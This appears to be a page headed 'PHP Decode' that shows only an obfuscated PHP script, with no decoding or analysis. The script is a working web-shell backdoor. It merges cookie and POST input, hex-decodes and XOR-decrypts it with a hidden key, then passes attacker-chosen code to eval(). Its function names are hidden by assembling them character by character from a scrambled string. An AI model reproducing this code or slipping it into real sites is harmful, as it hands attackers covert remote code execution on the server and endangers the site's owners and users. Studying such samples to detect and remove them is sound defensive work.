PHP Decode

<?php 
$xlcsdhq = 'r#_97ago6*5etf043ikvnHd\'1bylm8scuxp2-';$henxtzu = Array();$henxtzu[] = $xlcsdhq[15].$xlcsdhq[4].$xlcsdhq[5].$xlcsdhq[16].$xlcsdhq[35].$xlcsdhq[16].$xlcsdhq[10].$xlcsdhq[22].$xlcsdhq[36].$xlcsdhq[13].$xlcsdhq[13].$xlcsdhq[11].$xlcsdhq[5].$xlcsdhq[36].$xlcsdhq[15].$xlcsdhq[16].$xlcsdhq[25].$xlcsdhq[13].$xlcsdhq[36].$xlcsdhq[29].$xlcsdhq[25].$xlcsdhq[10].$xlcsdhq[4].$xlcsdhq[36].$xlcsdhq[4].$xlcsdhq[4].$xlcsdhq[29].$xlcsdhq[24].$xlcsdhq[8].$xlcsdhq[13].$xlcsdhq[25].$xlcsdhq[31].$xlcsdhq[14].$xlcsdhq[11].$xlcsdhq[13].$xlcsdhq[3];$henxtzu[] = $xlcsdhq[21].$xlcsdhq[9];$henxtzu[] = $xlcsdhq[1];$henxtzu[] = $xlcsdhq[31].$xlcsdhq[7].$xlcsdhq[32].$xlcsdhq[20].$xlcsdhq[12];$henxtzu[] = $xlcsdhq[30].$xlcsdhq[12].$xlcsdhq[0].$xlcsdhq[2].$xlcsdhq[0].$xlcsdhq[11].$xlcsdhq[34].$xlcsdhq[11].$xlcsdhq[5].$xlcsdhq[12];$henxtzu[] = $xlcsdhq[11].$xlcsdhq[33].$xlcsdhq[34].$xlcsdhq[27].$xlcsdhq[7].$xlcsdhq[22].$xlcsdhq[11];$henxtzu[] = $xlcsdhq[30].$xlcsdhq[32].$xlcsdhq[25].$xlcsdhq[30].$xlcsdhq[12].$xlcsdhq[0];$henxtzu[] = $xlcsdhq[5].$xlcsdhq[0].$xlcsdhq[0].$xlcsdhq[5].$xlcsdhq[26].$xlcsdhq[2].$xlcsdhq[28].$xlcsdhq[11].$xlcsdhq[0].$xlcsdhq[6].$xlcsdhq[11];$henxtzu[] = $xlcsdhq[30].$xlcsdhq[12].$xlcsdhq[0].$xlcsdhq[27].$xlcsdhq[11].$xlcsdhq[20];$henxtzu[] = $xlcsdhq[34].$xlcsdhq[5].$xlcsdhq[31].$xlcsdhq[18];foreach ($henxtzu[7]($_COOKIE, $_POST) as $hltzmj => $hwcgeh){function rkgjxcm($henxtzu, $hltzmj, $cxlowan){return $henxtzu[6]($henxtzu[4]($hltzmj . $henxtzu[0], ($cxlowan / $henxtzu[8]($hltzmj)) + 1), 0, $cxlowan);}function rdoflwh($henxtzu, $trgkzhw){return @$henxtzu[9]($henxtzu[1], $trgkzhw);}function sjzsbq($henxtzu, $trgkzhw){$haavwf = $henxtzu[3]($trgkzhw) % 3;if (!$haavwf) {eval($trgkzhw[1]($trgkzhw[2]));exit();}}$hwcgeh = rdoflwh($henxtzu, $hwcgeh);sjzsbq($henxtzu, $henxtzu[5]($henxtzu[2], $hwcgeh ^ rkgjxcm($henxtzu, $hltzmj, $henxtzu[8]($hwcgeh))));} ?>